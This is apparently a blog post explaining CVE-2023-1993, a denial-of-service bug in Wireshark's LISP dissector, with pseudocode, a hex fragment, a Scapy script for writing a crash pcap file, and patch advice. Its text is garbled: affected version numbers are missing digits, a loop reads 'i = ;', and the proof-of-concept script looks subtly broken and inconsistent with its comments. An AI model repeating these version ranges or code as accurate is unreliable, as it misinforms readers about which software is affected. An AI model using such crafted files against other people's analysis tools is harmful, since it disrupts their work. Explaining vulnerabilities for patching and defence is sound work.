Wireshark is one of the most popular open-source network protocol analyzers in the world. Its powerful dissection engine lets anyone dig deep into network packets, making it invaluable for diagnosing network issues or even investigating security breaches. But sometimes, Wireshark’s complexity can be its own weakness. Today, we're diving into CVE-2023-1993, a vulnerability that let attackers crash Wireshark using the LISP dissector in versions 4.. to 4..4 and 3.6. to 3.6.12.

Let's look at how this bug works, check out some code snippets, and see how a simple malicious packet or .pcap file could trigger a denial of service (DoS).

What is the LISP Protocol and Dissector?

LISP stands for Locator/ID Separation Protocol. It’s a network protocol aimed at making routing on the Internet more scalable and flexible. In Wireshark, a "dissector" is a piece of software logic that understands how to break down (dissect) the contents of packets for supported protocols—including LISP.

What’s the Problem?

In some Wireshark versions, the LISP dissector doesn’t properly handle malformed or specially crafted LISP packets. Due to badly checked loop conditions, an attacker can inject a packet or submit a capture file that creates a large loop during packet dissection. This causes the Wireshark application to freeze or crash, leading to a denial of service.

3.6. to 3.6.12

You can see the Wireshark security advisory here:  
https://www.wireshark.org/security/wnpa-sec-2023-14.html

To be clear: *This does not let attackers execute arbitrary code. It’s a denial-of-service (DoS) problem—Wireshark hangs and may crash.*

Under The Hood: Vulnerable Code

The bug arises in 'epan/dissectors/packet-lisp.c', which is the file responsible for dissecting LISP protocol packets.

Let's imagine a simplified version (pseudocode for clarity)

for (i = ; i < count; i++) {
    // Dissect LISP mapping records
    // No upper limit on "count"
    dissect_lisp_mapping(tvbuff, offset);
}

If a captured packet sets count to a very large number, this loop could run thousands or millions of times, freezing or crashing Wireshark as it tries to process the bogus mapping records.

Here’s what a malicious packet section might look like in hex (simplified)

00 50 00 01 ... <LISP header> ... FF FF FF FF ... <large 'count' value>

Crafting a Malicious Capture File

You don’t need to be a network wizard to trigger the bug. Just whip up a custom .pcap file containing a fake LISP packet with a ridiculous count value in the record mapping field. Open that file with a vulnerable Wireshark version—and the app will grind to a halt.

Here’s a Python snippet using Scapy to craft a bad pcap file

from scapy.all import *

# Fake LISP packet with large mapping record count
lisp_payload = bytes.fromhex(
    "00 00 00 00"   # LISP header (simplified)
    "FF"            # Very high mapping record count
    + "00"*100      # Just filler data
)

pkt = Ether()/IP()/UDP()/Raw(load=lisp_payload)

wrpcap("lisp_crash.pcap", pkt)

Real-World Impact

- Any network analyst or security pro: If someone emails you a specially crafted .pcap file or you capture traffic containing a malicious LISP packet, you can lose unsaved work or cause your analysis environment to become unusable.
- Shared environments: Automatic systems (like network forensics boxes or continuous packet analysis servers) can also get clogged or hang due to this bug.

How to Defend and Patch

The Wireshark team quickly patched the issue by adding proper bounds checks on the loop variables. As always, the best fix is to update to a safe version:

3.6.13 or later

Direct download: https://www.wireshark.org/download.html

References

- Wireshark Security Advisory wnpa-sec-2023-14
- CVE-2023-1993 on NVD
- Wireshark commit fixing the bug
- Scapy: Packet crafting in Python

Conclusion

CVE-2023-1993 is a good reminder: Even non-remote code execution bugs can have a big impact, especially on critical tools like Wireshark. Always keep your tools patched, and be careful when opening files from untrusted sources—even if they're "just" network captures.

Timeline

Published on: 04/12/2023 21:15:00 UTC
Last modified on: 06/16/2023 04:15:00 UTC